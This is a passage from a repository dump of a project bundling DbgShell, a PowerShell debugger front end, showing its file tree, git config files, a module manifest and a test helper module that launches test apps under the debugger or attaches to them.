Repository: giMini/mimiDbg Branch: master Commit: 236a5f1d7d35 Files: 349 Total size: 3.1 MB Directory structure: gitextract_imkf2kq6/ ├── .gitattributes ├── .gitignore ├── DbgShell/ │ ├── x64/ │ │ ├── DbgShell.exe.config │ │ ├── DbgShell.pdb │ │ ├── DbgShellExt.iobj │ │ ├── DbgShellExt.ipdb │ │ ├── DbgShellExt.pdb │ │ ├── DbgShellTest/ │ │ │ ├── CoCreateShim.iobj │ │ │ ├── CoCreateShim.ipdb │ │ │ ├── CoCreateShim.pdb │ │ │ ├── DbgShellTest.psd1 │ │ │ ├── DbgShellTest.psm1 │ │ │ ├── Pester/ │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── Functions/ │ │ │ │ │ ├── Assertions/ │ │ │ │ │ │ ├── Be.Tests.ps1 │ │ │ │ │ │ ├── Be.ps1 │ │ │ │ │ │ ├── BeGreaterThan.Tests.ps1 │ │ │ │ │ │ ├── BeGreaterThan.ps1 │ │ │ │ │ │ ├── BeLessThan.Tests.ps1 │ │ │ │ │ │ ├── BeLessThan.ps1 │ │ │ │ │ │ ├── BeNullOrEmpty.Tests.ps1 │ │ │ │ │ │ ├── BeNullOrEmpty.ps1 │ │ │ │ │ │ ├── BeOfType.Tests.ps1 │ │ │ │ │ │ ├── BeOfType.ps1 │ │ │ │ │ │ ├── Contain.Tests.ps1 │ │ │ │ │ │ ├── Contain.ps1 │ │ │ │ │ │ ├── ContainExactly.Tests.ps1 │ │ │ │ │ │ ├── ContainExactly.ps1 │ │ │ │ │ │ ├── Exist.Tests.ps1 │ │ │ │ │ │ ├── Exist.ps1 │ │ │ │ │ │ ├── Match.Tests.ps1 │ │ │ │ │ │ ├── Match.ps1 │ │ │ │ │ │ ├── MatchExactly.Tests.ps1 │ │ │ │ │ │ ├── MatchExactly.ps1 │ │ │ │ │ │ ├── PesterThrow.Tests.ps1 │ │ │ │ │ │ ├── PesterThrow.ps1 │ │ │ │ │ │ ├── Set-TestInconclusive.ps1 │ │ │ │ │ │ ├── Should.Tests.ps1 │ │ │ │ │ │ ├── Should.ps1 │ │ │ │ │ │ └── Test-Assertion.ps1 │ │ │ │ │ ├── BreakAndContinue.Tests.ps1 │ │ │ │ │ ├── Context.Tests.ps1 │ │ │ │ │ ├── Context.ps1 │ │ │ │ │ ├── Coverage.Tests.ps1 │ │ │ │ │ ├── Coverage.ps1 │ │ │ │ │ ├── Describe.Tests.ps1 │ │ │ │ │ ├── Describe.ps1 │ │ │ │ │ ├── GlobalMock-A.Tests.ps1 │ │ │ │ │ ├── GlobalMock-B.Tests.ps1 │ │ │ │ │ ├── In.Tests.ps1 │ │ │ │ │ ├── In.ps1 │ │ │ │ │ ├── InModuleScope.Tests.ps1 │ │ │ │ │ ├── InModuleScope.ps1 │ │ │ │ │ ├── It.Tests.ps1 │ │ │ │ │ ├── It.ps1 │ │ │ │ │ ├── Mock.Tests.ps1 │ │ │ │ │ ├── Mock.ps1 │ │ │ │ │ ├── New-Fixture.Tests.ps1 │ │ │ │ │ ├── New-Fixture.ps1 │ │ │ │ │ ├── PesterState.Tests.ps1 │ │ │ │ │ ├── PesterState.ps1 │ │ │ │ │ ├── SetupTeardown.Tests.ps1 │ │ │ │ │ ├── SetupTeardown.ps1 │ │ │ │ │ ├── TestDrive.Tests.ps1 │ │ │ │ │ ├── TestDrive.ps1 │ │ │ │ │ ├── TestResults.Tests.ps1 │ │ │ │ │ ├── TestResults.ps1 │ │ │ │ │ └── TestsRunningInCleanRunspace.Tests.ps1 │ │ │ │ ├── LICENSE │ │ │ │ ├── Pester.Tests.ps1 │ │ │ │ ├── Pester.psd1 │ │ │ │ ├── Pester.psm1 │ │ │ │ ├── README.md │ │ │ │ ├── Snippets/ │ │ │ │ │ ├── Context.snippets.ps1xml │ │ │ │ │ ├── Describe.snippets.ps1xml │ │ │ │ │ ├── It.snippets.ps1xml │ │ │ │ │ ├── ShouldBe.snippets.ps1xml │ │ │ │ │ ├── ShouldBeGreaterThan.snippets.ps1xml │ │ │ │ │ ├── ShouldBeLessThan.snippets.ps1xml │ │ │ │ │ ├── ShouldBeNullOrEmpty.snippets.ps1xml │ │ │ │ │ ├── ShouldContain.snippets.ps1xml │ │ │ │ │ ├── ShouldExist.snippets.ps1xml │ │ │ │ │ ├── ShouldMatch.snippets.ps1xml │ │ │ │ │ ├── ShouldNotBe.snippets.ps1xml │ │ │ │ │ ├── ShouldNotBeNullOrEmpty.snippets.ps1xml │ │ │ │ │ ├── ShouldNotContain.snippets.ps1xml │ │ │ │ │ ├── ShouldNotExist.snippets.ps1xml │ │ │ │ │ ├── ShouldNotMatch.snippets.ps1xml │ │ │ │ │ ├── ShouldNotThrow.snippets.ps1xml │ │ │ │ │ └── ShouldThrow.snippets.ps1xml │ │ │ │ ├── en-US/ │ │ │ │ │ ├── about_BeforeEach_AfterEach.help.txt │ │ │ │ │ ├── about_Mocking.help.txt │ │ │ │ │ ├── about_Pester.help.txt │ │ │ │ │ ├── about_TestDrive.help.txt │ │ │ │ │ └── about_should.help.txt │ │ │ │ └── nunit_schema_2.5.xsd │ │ │ ├── TestManagedCommon.pdb │ │ │ ├── TestManagedConsoleApp.exe.config │ │ │ ├── TestManagedConsoleApp.pdb │ │ │ ├── TestNativeConsoleApp.exp │ │ │ ├── TestNativeConsoleApp.iobj │ │ │ ├── TestNativeConsoleApp.ipdb │ │ │ ├── TestNativeConsoleApp.lib │ │ │ ├── TestNativeConsoleApp.pdb │ │ │ ├── Tests/ │ │ │ │ ├── Disasm.Tests.ps1 │ │ │ │ ├── Dumps.Tests.ps1 │ │ │ │ ├── Gu.Tests.ps1 │ │ │ │ ├── Kill.Tests.ps1 │ │ │ │ ├── MultiProcDetachAttach.Tests.ps1 │ │ │ │ ├── NamespaceTests/ │ │ │ │ │ ├── ContentTests.ps1 │ │ │ │ │ ├── CopyItem.ps1 │ │ │ │ │ ├── DriveTests.ps1 │ │ │ │ │ ├── Globbing.ps1 │ │ │ │ │ ├── MoveItem.ps1 │ │ │ │ │ ├── ProviderTests.metadata │ │ │ │ │ └── RenameItem.ps1 │ │ │ │ ├── ReentrantConversion.Tests.ps1 │ │ │ │ ├── StlTypeConversion.Tests.ps1 │ │ │ │ ├── TemplateMatching.Tests.ps1 │ │ │ │ ├── TrickySymbolValueConversions.Tests.ps1 │ │ │ │ ├── ValueConverterQueries.Tests.ps1 │ │ │ │ ├── VariantConversion.Tests.ps1 │ │ │ │ └── WriteMem.Tests.ps1 │ │ │ ├── v2Lib.pdb │ │ │ └── v4Lib.pdb │ │ ├── Debugger/ │ │ │ ├── DbgEngWrapper.dll.metagen │ │ │ ├── DbgEngWrapper.pdb │ │ │ ├── DbgNativeUtil.iobj │ │ │ ├── DbgNativeUtil.ipdb │ │ │ ├── DbgNativeUtil.pdb │ │ │ ├── DbgProvider.pdb │ │ │ ├── Debugger.ArgumentCompleters.ps1 │ │ │ ├── Debugger.ArgumentCompleters.shared.ps1 │ │ │ ├── Debugger.Converters.COM.ps1 │ │ │ ├── Debugger.Converters.NT.ps1 │ │ │ ├── Debugger.Converters.WinRT.ps1 │ │ │ ├── Debugger.Converters.stl.ps1 │ │ │ ├── Debugger.Converters.win32.ps1 │ │ │ ├── Debugger.Converters.wrl.ps1 │ │ │ ├── Debugger.Converters.xaml.ps1 │ │ │ ├── Debugger.DebuggeeTypes.NT.psfmt │ │ │ ├── Debugger.DebuggeeTypes.Win32.psfmt │ │ │ ├── Debugger.DebuggeeTypes.atl.psfmt │ │ │ ├── Debugger.DebuggeeTypes.clr.psfmt │ │ │ ├── Debugger.DebuggeeTypes.psfmt │ │ │ ├── Debugger.DebuggeeTypes.wrl.psfmt │ │ │ ├── Debugger.DebuggeeTypes.xaml.psfmt │ │ │ ├── Debugger.Format.Color.ps1xml │ │ │ ├── Debugger.Format.ps1xml │ │ │ ├── Debugger.Formatting.psm1 │ │ │ ├── Debugger.psd1 │ │ │ ├── Debugger.psfmt │ │ │ ├── Debugger.psm1 │ │ │ ├── FmtUtils.ps1 │ │ │ ├── GetPsContextFunc.ps1 │ │ │ ├── KernelMode.ps1 │ │ │ ├── Microsoft.Diagnostics.Runtime.pdb │ │ │ ├── Microsoft.Diagnostics.Runtime.xml │ │ │ ├── OtherUtils.ps1 │ │ │ ├── Types.ps1xml │ │ │ └── en-us/ │ │ │ ├── DbgProvider.dll-Help.xml │ │ │ ├── about_Color.help.txt │ │ │ ├── about_CustomFormatting.help.txt │ │ │ ├── about_CustomSymbolValueConversion.help.txt │ │ │ ├── about_DbgShell.help.txt │ │ │ ├── about_DbgShell_GettingStarted.help.txt │ │ │ ├── about_DerivedTypeDetection.help.txt │ │ │ ├── about_HowTo_Write_a_Symbol_Value_Converter.help.txt │ │ │ └── about_MemoryCommands.help.txt │ │ ├── TypeInfoDebugging/ │ │ │ └── TypeInfoDebugging.psm1 │ │ └── doc/ │ │ ├── Color.md │ │ ├── CustomFormattingEngine.md │ │ ├── DbgEngWrapper.md │ │ ├── DerivedTypeDetection.md │ │ ├── GettingStarted.md │ │ └── SymbolValueConversion.md │ └── x86/ │ ├── DbgShell.exe.config │ ├── DbgShell.pdb │ ├── DbgShellExt.iobj │ ├── DbgShellExt.ipdb │ ├── DbgShellExt.pdb │ ├── DbgShellTest/ │ │ ├── CoCreateShim.iobj │ │ ├── CoCreateShim.ipdb │ │ ├── CoCreateShim.pdb │ │ ├── DbgShellTest.psd1 │ │ ├── DbgShellTest.psm1 │ │ ├── Pester/ │ │ │ ├── CHANGELOG.md │ │ │ ├── Functions/ │ │ │ │ ├── Assertions/ │ │ │ │ │ ├── Be.Tests.ps1 │ │ │ │ │ ├── Be.ps1 │ │ │ │ │ ├── BeGreaterThan.Tests.ps1 │ │ │ │ │ ├── BeGreaterThan.ps1 │ │ │ │ │ ├── BeLessThan.Tests.ps1 │ │ │ │ │ ├── BeLessThan.ps1 │ │ │ │ │ ├── BeNullOrEmpty.Tests.ps1 │ │ │ │ │ ├── BeNullOrEmpty.ps1 │ │ │ │ │ ├── BeOfType.Tests.ps1 │ │ │ │ │ ├── BeOfType.ps1 │ │ │ │ │ ├── Contain.Tests.ps1 │ │ │ │ │ ├── Contain.ps1 │ │ │ │ │ ├── ContainExactly.Tests.ps1 │ │ │ │ │ ├── ContainExactly.ps1 │ │ │ │ │ ├── Exist.Tests.ps1 │ │ │ │ │ ├── Exist.ps1 │ │ │ │ │ ├── Match.Tests.ps1 │ │ │ │ │ ├── Match.ps1 │ │ │ │ │ ├── MatchExactly.Tests.ps1 │ │ │ │ │ ├── MatchExactly.ps1 │ │ │ │ │ ├── PesterThrow.Tests.ps1 │ │ │ │ │ ├── PesterThrow.ps1 │ │ │ │ │ ├── Set-TestInconclusive.ps1 │ │ │ │ │ ├── Should.Tests.ps1 │ │ │ │ │ ├── Should.ps1 │ │ │ │ │ └── Test-Assertion.ps1 │ │ │ │ ├── BreakAndContinue.Tests.ps1 │ │ │ │ ├── Context.Tests.ps1 │ │ │ │ ├── Context.ps1 │ │ │ │ ├── Coverage.Tests.ps1 │ │ │ │ ├── Coverage.ps1 │ │ │ │ ├── Describe.Tests.ps1 │ │ │ │ ├── Describe.ps1 │ │ │ │ ├── GlobalMock-A.Tests.ps1 │ │ │ │ ├── GlobalMock-B.Tests.ps1 │ │ │ │ ├── In.Tests.ps1 │ │ │ │ ├── In.ps1 │ │ │ │ ├── InModuleScope.Tests.ps1 │ │ │ │ ├── InModuleScope.ps1 │ │ │ │ ├── It.Tests.ps1 │ │ │ │ ├── It.ps1 │ │ │ │ ├── Mock.Tests.ps1 │ │ │ │ ├── Mock.ps1 │ │ │ │ ├── New-Fixture.Tests.ps1 │ │ │ │ ├── New-Fixture.ps1 │ │ │ │ ├── PesterState.Tests.ps1 │ │ │ │ ├── PesterState.ps1 │ │ │ │ ├── SetupTeardown.Tests.ps1 │ │ │ │ ├── SetupTeardown.ps1 │ │ │ │ ├── TestDrive.Tests.ps1 │ │ │ │ ├── TestDrive.ps1 │ │ │ │ ├── TestResults.Tests.ps1 │ │ │ │ ├── TestResults.ps1 │ │ │ │ └── TestsRunningInCleanRunspace.Tests.ps1 │ │ │ ├── LICENSE │ │ │ ├── Pester.Tests.ps1 │ │ │ ├── Pester.psd1 │ │ │ ├── Pester.psm1 │ │ │ ├── README.md │ │ │ ├── Snippets/ │ │ │ │ ├── Context.snippets.ps1xml │ │ │ │ ├── Describe.snippets.ps1xml │ │ │ │ ├── It.snippets.ps1xml │ │ │ │ ├── ShouldBe.snippets.ps1xml │ │ │ │ ├── ShouldBeGreaterThan.snippets.ps1xml │ │ │ │ ├── ShouldBeLessThan.snippets.ps1xml │ │ │ │ ├── ShouldBeNullOrEmpty.snippets.ps1xml │ │ │ │ ├── ShouldContain.snippets.ps1xml │ │ │ │ ├── ShouldExist.snippets.ps1xml │ │ │ │ ├── ShouldMatch.snippets.ps1xml │ │ │ │ ├── ShouldNotBe.snippets.ps1xml │ │ │ │ ├── ShouldNotBeNullOrEmpty.snippets.ps1xml │ │ │ │ ├── ShouldNotContain.snippets.ps1xml │ │ │ │ ├── ShouldNotExist.snippets.ps1xml │ │ │ │ ├── ShouldNotMatch.snippets.ps1xml │ │ │ │ ├── ShouldNotThrow.snippets.ps1xml │ │ │ │ └── ShouldThrow.snippets.ps1xml │ │ │ ├── en-US/ │ │ │ │ ├── about_BeforeEach_AfterEach.help.txt │ │ │ │ ├── about_Mocking.help.txt │ │ │ │ ├── about_Pester.help.txt │ │ │ │ ├── about_TestDrive.help.txt │ │ │ │ └── about_should.help.txt │ │ │ └── nunit_schema_2.5.xsd │ │ ├── TestManagedCommon.pdb │ │ ├── TestManagedConsoleApp.exe.config │ │ ├── TestManagedConsoleApp.pdb │ │ ├── TestNativeConsoleApp.exp │ │ ├── TestNativeConsoleApp.iobj │ │ ├── TestNativeConsoleApp.ipdb │ │ ├── TestNativeConsoleApp.lib │ │ ├── TestNativeConsoleApp.pdb │ │ ├── Tests/ │ │ │ ├── Disasm.Tests.ps1 │ │ │ ├── Dumps.Tests.ps1 │ │ │ ├── Gu.Tests.ps1 │ │ │ ├── Kill.Tests.ps1 │ │ │ ├── MultiProcDetachAttach.Tests.ps1 │ │ │ ├── NamespaceTests/ │ │ │ │ ├── ContentTests.ps1 │ │ │ │ ├── CopyItem.ps1 │ │ │ │ ├── DriveTests.ps1 │ │ │ │ ├── Globbing.ps1 │ │ │ │ ├── MoveItem.ps1 │ │ │ │ ├── ProviderTests.metadata │ │ │ │ └── RenameItem.ps1 │ │ │ ├── ReentrantConversion.Tests.ps1 │ │ │ ├── StlTypeConversion.Tests.ps1 │ │ │ ├── TemplateMatching.Tests.ps1 │ │ │ ├── TrickySymbolValueConversions.Tests.ps1 │ │ │ ├── ValueConverterQueries.Tests.ps1 │ │ │ ├── VariantConversion.Tests.ps1 │ │ │ └── WriteMem.Tests.ps1 │ │ ├── v2Lib.pdb │ │ └── v4Lib.pdb │ ├── Debugger/ │ │ ├── DbgEngWrapper.dll.metagen │ │ ├── DbgEngWrapper.pdb │ │ ├── DbgNativeUtil.iobj │ │ ├── DbgNativeUtil.ipdb │ │ ├── DbgNativeUtil.pdb │ │ ├── DbgProvider.pdb │ │ ├── Debugger.ArgumentCompleters.ps1 │ │ ├── Debugger.ArgumentCompleters.shared.ps1 │ │ ├── Debugger.Converters.COM.ps1 │ │ ├── Debugger.Converters.NT.ps1 │ │ ├── Debugger.Converters.WinRT.ps1 │ │ ├── Debugger.Converters.stl.ps1 │ │ ├── Debugger.Converters.win32.ps1 │ │ ├── Debugger.Converters.wrl.ps1 │ │ ├── Debugger.Converters.xaml.ps1 │ │ ├── Debugger.DebuggeeTypes.NT.psfmt │ │ ├── Debugger.DebuggeeTypes.Win32.psfmt │ │ ├── Debugger.DebuggeeTypes.atl.psfmt │ │ ├── Debugger.DebuggeeTypes.clr.psfmt │ │ ├── Debugger.DebuggeeTypes.psfmt │ │ ├── Debugger.DebuggeeTypes.wrl.psfmt │ │ ├── Debugger.DebuggeeTypes.xaml.psfmt │ │ ├── Debugger.Format.Color.ps1xml │ │ ├── Debugger.Format.ps1xml │ │ ├── Debugger.Formatting.psm1 │ │ ├── Debugger.psd1 │ │ ├── Debugger.psfmt │ │ ├── Debugger.psm1 │ │ ├── FmtUtils.ps1 │ │ ├── GetPsContextFunc.ps1 │ │ ├── KernelMode.ps1 │ │ ├── Microsoft.Diagnostics.Runtime.pdb │ │ ├── Microsoft.Diagnostics.Runtime.xml │ │ ├── OtherUtils.ps1 │ │ ├── Types.ps1xml │ │ └── en-us/ │ │ ├── DbgProvider.dll-Help.xml │ │ ├── about_Color.help.txt │ │ ├── about_CustomFormatting.help.txt │ │ ├── about_CustomSymbolValueConversion.help.txt │ │ ├── about_DbgShell.help.txt │ │ ├── about_DbgShell_GettingStarted.help.txt │ │ ├── about_DerivedTypeDetection.help.txt │ │ ├── about_HowTo_Write_a_Symbol_Value_Converter.help.txt │ │ └── about_MemoryCommands.help.txt │ ├── TypeInfoDebugging/ │ │ └── TypeInfoDebugging.psm1 │ └── doc/ │ ├── Color.md │ ├── CustomFormattingEngine.md │ ├── DbgEngWrapper.md │ ├── DerivedTypeDetection.md │ ├── GettingStarted.md │ └── SymbolValueConversion.md └── Readme.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto # Custom for Visual Studio *.cs diff=csharp # Standard to msysgit *.doc diff=astextplain *.DOC diff=astextplain *.docx diff=astextplain *.DOCX diff=astextplain *.dot diff=astextplain *.DOT diff=astextplain *.pdf diff=astextplain *.PDF diff=astextplain *.rtf diff=astextplain *.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ # Windows image file caches Thumbs.db ehthumbs.db # Folder config file Desktop.ini # Recycle Bin used on file shares $RECYCLE.BIN/ # Windows Installer files *.cab *.msi *.msm *.msp # Windows shortcuts *.lnk # ========================= # Operating System Files # ========================= # OSX # ========================= .DS_Store .AppleDouble .LSOverride # Thumbnails ._* # Files that might appear in the root of a volume .DocumentRevisions-V100 .fseventsd .Spotlight-V100 .TemporaryItems .Trashes .VolumeIcon.icns # Directories potentially created on remote AFP share .AppleDB .AppleDesktop Network Trash Folder Temporary Items .apdisk ================================================ FILE: DbgShell/x64/DbgShell.exe.config ================================================ ================================================ FILE: DbgShell/x64/DbgShellTest/DbgShellTest.psd1 ================================================ # # Module manifest for module 'DbgShellTest' # @{ # Script module or binary module file associated with this manifest RootModule = "filesystem::$PSScriptRoot\TestManagedCommon.dll" # Version number of this module. ModuleVersion = '1.0' # ID used to uniquely identify this module GUID = '8919DA18-FF4F-49DD-BE65-40DC8A3D0D0C' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = '(c) Microsoft Corporation. All rights reserved.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '3.0' # Name of the Windows PowerShell host required by this module PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module PowerShellHostVersion = '' # Minimum version of the .NET Framework required by this module DotNetFrameworkVersion = '4.0' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' # Processor architecture (None, X86, Amd64, IA64) required by this module ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @( "filesystem::$PSScriptRoot\Pester\Pester.psd1" ) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module FormatsToProcess = @() # Modules to import as nested modules of the module specified in ModuleToProcess NestedModules = @( "filesystem::$PSScriptRoot\DbgShellTest.psm1" ) # Functions to export from this module FunctionsToExport = @( 'New-TestApp', 'ntna', 'ntma', 'DoFullTestPass', 'Get-DbgTypeCacheStats', 'PostTestCheckAndResetCacheStats' ) # Cmdlets to export from this module CmdletsToExport = '*' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module AliasesToExport = '*' # List of all modules packaged with this module ModuleList = @() # List of all files packaged with this module FileList = @() # Private data to pass to the module specified in ModuleToProcess PrivateData = '' # HelpInfo URI of this module #HelpInfoURI = 'http://go.microsoft.com/fwlink/?LinkId=216168' } ================================================ FILE: DbgShell/x64/DbgShellTest/DbgShellTest.psm1 ================================================ Set-StrictMode -Version Latest [void] (New-PSDrive Tests FileSystem "$PSScriptRoot\Tests" -Scope Global) $script:dumpsRelativePath = '..\..\..\..\Dumps' if( [System.IO.Directory]::Exists( "$PSScriptRoot\$dumpsRelativePath" ) ) { [void] (New-PSDrive Dumps FileSystem "$PSScriptRoot\$dumpsRelativePath" -Scope Global) } $MyInvocation.MyCommand.ScriptBlock.Module.OnRemove = { Remove-PSDrive -Name 'Tests' -Force $dd = Get-PSDrive 'Dumps*' # use a wildcard because I don't want an error if it's not there. foreach( $d in $dd ) { if( $d.Name -eq 'Dumps' ) { $d | Remove-PSDrive -Force break } } } # end OnRemove handler Write-Host '' Write-Host "Tests are located under the Tests:\ drive. Type something like ""Invoke-Pester Tests:\*.ps1"" to run them. Or use DoFullTestPass to run them for all combinations of the optional test inputs (path bugginess style and provider-/drive-qualified working directory)." Write-Host '' Set-Alias Run-Test Invoke-Pester function script:Find-TestApp { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $TestApp, [Parameter( Mandatory = $false )] [ValidateSet( 'x86', 'x64', 'matching', 'cross' )] [string] $Platform = 'matching' ) begin { } end { } process { try { [string] $path = $null if( $Platform -eq 'matching' ) { $path = 'bin:\DbgShellTest\' + $TestApp + '.exe' $path = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $path ) } else { if( $Platform -eq 'cross' ) { if( [System.Environment]::Is64BitProcess ) { $Platform = 'x86' } else { $Platform = 'x64' } } $platformRoot = [System.IO.Path]::GetDirectoryName( (Get-PSDrive 'bin').Root ) $path = [System.IO.Path]::Combine( $platformRoot, $Platform, 'DbgShellTest', $TestApp ) $path = $path + '.exe' } if( ![System.IO.File]::Exists( $path ) ) { throw "There is no '$TestApp' test app. (at least not yet...) Path tried was: $path" } return $path } finally { } } # end process } # end function Find-TestApp function script:Find-Windbg { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $which ) begin { } end { } process { try { [string] $dir = Find-WindbgDir if( !$dir ) { throw "Can't find windbg dir." } [string] $path = Join-Path $dir $which if( ![System.IO.File]::Exists( $path ) ) { throw "Can't find '$path'. You may need to modify this function in DbgShellTest.psm1 (or make sure that windbg is installed in a common location)." } return $path } finally { } } # end process } # end function Find-Windbg <# .Synopsis Starts a new process for debugging, either launching under the debugger, or launching it then attaching. #> function New-TestApp { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [ValidateSet( 'TestManagedConsoleApp', 'TestNativeConsoleApp' )] # TODO: implement other test apps! [string] $TestApp, [Parameter( Mandatory = $false )] [ValidateSet( 'x86', 'x64', 'matching', 'cross' )] [string] $Platform = 'matching', [Parameter( Mandatory = $false, Position = 3 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 4 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp", [Parameter( Mandatory = $false )] [switch] $Attach, [Parameter( Mandatory = $false )] [Alias( 'gi' )] [switch] $SkipInitialBreakpoint, [Parameter( Mandatory = $false )] [Alias( 'gf' )] [switch] $SkipFinalBreakpoint, [Parameter( Mandatory = $false )] [switch] $UseWindbgInstead, # Useful from test scripts, so that they aren' popping up windows all over. [Parameter( Mandatory = $false )] [switch] $HiddenTargetWindow ) begin { } end { } process { if( $UseWindbgInstead -and $PSBoundParameters.ContainsKey( 'TargetName' ) ) { Write-Warning "The -TargetName parameter doesn't make sense with -UseWindbgInstead." } if( (Test-Path "Dbg:\$TargetName") -and !$UseWindbgInstead ) { throw "The name '$TargetName' is already in use; please use a different name." } [string] $path = Find-TestApp $TestApp -Platform $Platform $testAppReadyEvent = New-InheritableEvent $pauseEvent = New-InheritableEvent try { if( $Attach ) { if( $SkipInitialBreakpoint -and !$UseWindbgInstead ) { Write-Warning "The -Attach option coordinates with the target test app, in order to guarantee that we always get attached at a consistent, deterministic spot (because this command is for testing). By using the -SkipInitialBreakpoint along with the -Attach option, this command will not get a chance to set the `"you may now continue execution`" event until the app breaks for some reason (for instance, you can cause this by typing CTRL+C in the target test app's window)." # TODO: Perhaps instead we could not really skip the initial # breakpoint, but instead issue a Resume-DbgProcess ("g") as soon as # we hit it. } $arglist = ("SetEvent $($testAppReadyEvent.SafeWaitHandle.DangerousGetHandle().ToString()) ; WaitEvent $($pauseEvent.SafeWaitHandle.DangerousGetHandle().ToString())" + " ; " + $Arguments) # The -UseNewEnvironment is important; it causes Start-Process # to not use ShellExecute. (We don't want to use ShellExecute # because we need the child proc to inherit the handles to the # synchronization events.) $startProcArgs = @{ 'FilePath' = $path 'ArgumentList' = $arglist 'UseNewEnvironment' = $true 'PassThru' = $true } if( $HiddenTargetWindow -and !(Test-Path Variable:\__globalForceShowTestWindows) ) { $startProcArgs[ 'WindowStyle' ] = 'Hidden' } $proc = Start-Process @startProcArgs [bool] $ready = $false while( !$proc.HasExited -and !$ready ) { # It could crash before we get attached. We poll for that so we won't # get hung if that happens. $ready = $testAppReadyEvent.WaitOne( 5000 ) } if( $proc.HasExited ) { Assert (!$ready) Write-Error "Hmmm... the test process died before we could attach (pid was $($proc.Id))." } else { # Start-Sleep -Milli 500 if( $UseWindbgInstead ) { [object[]] $flags = @() if( $SkipInitialBreakpoint ) { $flags += '-g' } if( $SkipFinalBreakpoint ) { $flags += '-G' } & (Find-Windbg 'windbg.exe') @flags -p $proc.Id # Need to wait for windbg to get attached. Hopefully this is long # enough. Write-Host "Waiting for windbg to get attached..." -Fore Cyan Start-Sleep -Milli 5000 } else { $proc | Connect-Process -TargetName $TargetName ` -SkipInitialBreakpoint:$SkipInitialBreakpoint ` -SkipFinalBreakpoint:$SkipFinalBreakpoint } [void] $pauseEvent.Set() } } else # !$Attach { if( $UseWindbgInstead ) { if( $HiddenTargetWindow ) { Write-Warning 'The -HiddenTargetWindow is ignored when launching windbg.' } [object[]] $flags = @() if( $SkipInitialBreakpoint ) { $flags += '-g' } if( $SkipFinalBreakpoint ) { $flags += '-G' } $arglist = "$flags $path $Arguments" Start-Process (Find-Windbg 'windbg.exe') -ArgumentList $arglist -UseNewEnvironment } else { $startDbgProcOptions = @{ 'FilePath' = $path 'TargetName' = $TargetName 'SkipInitialBreakpoint' = $SkipInitialBreakpoint 'SkipFinalBreakpoint' = $SkipFinalBreakpoint 'ArgumentList' = $Arguments } if( $HiddenTargetWindow ) { $startDbgProcOptions[ 'ConsoleOption' ] = 'NoConsole' } Start-DbgProcess @startDbgProcOptions } } } finally { $testAppReadyEvent.Dispose() $pauseEvent.Dispose() } } } # end function New-TestApp <# .Synopsis Convenient shortcut to attach to a new TestNativeConsoleApp.exe process. #> function ntna { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp" ) begin { } end { } process { try { New-TestApp TestNativeConsoleApp -Attach -TargetName $TargetName -Arguments $Arguments } finally { } } } # end function ntna <# .Synopsis Convenient shortcut to attach to a new TestManagedConsoleApp.exe process. #> function ntma { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp" ) begin { } end { } process { try { New-TestApp TestManagedConsoleApp -Attach -TargetName $TargetName -Arguments $Arguments } finally { } } } # end function ntma <# .Synopsis Runs all the tests (Tests:\*.ps1) multiple times for all combinations of PathBugginessStyle and using a provider-qualified working directory or not. function DoFullTestPass() { [string] $testName = "Full regression test pass" [bool] $alreadyRanGlobbing = $false Import-Module TE.PowerShell # Fortunately, the WEX logging state is re-entrant/refcounted. [WEX.Logging.Interop.LogController]::InitializeLogging() Log-StartGroup $testName foreach( $pbs in @( [MS.Dbg.PathBugginessStyle]::RegistryProvider, [MS.Dbg.PathBugginessStyle]::CertificateProvider ) ) { foreach( $upqwd in @( $false, $true ) ) { $testProps = Get-TestProperties $testProps[ "PathBugginessStyle" ] = $pbs $testProps[ "UseProviderQualifiedWorkingDirectory" ] = $upqwd if( $alreadyRanGlobbing ) { Run-Test Tests:\*.ps1 -Exclude Tests:\Globbing.ps1 } else { Run-Test Tests:\*.ps1 $alreadyRanGlobbing = $true } } } Log-EndGroup $testName [WEX.Logging.Interop.LogController]::FinalizeLogging() } # end DoFullTestPass #> function Get-DbgTypeCacheStats { [CmdletBinding()] param() begin { } end { } process { try { $hits = [MS.Dbg.DbgTypeInfo]::CacheHits $misses = [MS.Dbg.DbgTypeInfo]::CacheMisses if( $misses -gt 0 ) { $hitPercent = [int] (($hits / $misses) * 100) } else { $hitPercent = 'NaN' } return [PSCustomObject] @{ 'Hits' = $hits ; 'Misses' = $misses ; 'HitPercent' = $hitPercent } } finally { } } } function PostTestCheckAndResetCacheStats { [CmdletBinding()] param() begin { } end { } process { try { $cs = Get-DbgTypeCacheStats Write-Host "DbgTypeInfo cache stats: $($cs.Hits) hits, $($cs.Misses) misses ($($cs.HitPercent)%)." -Fore Cyan if( 0 -ne ([MS.Dbg.DbgTypeInfo]::GetCacheSize()) ) { Write-Warning "Cache size should currently be zero (because we should not be attached to anything)." } [MS.Dbg.DbgTypeInfo]::ResetCacheStatistics() } finally { } } } ================================================ FILE: 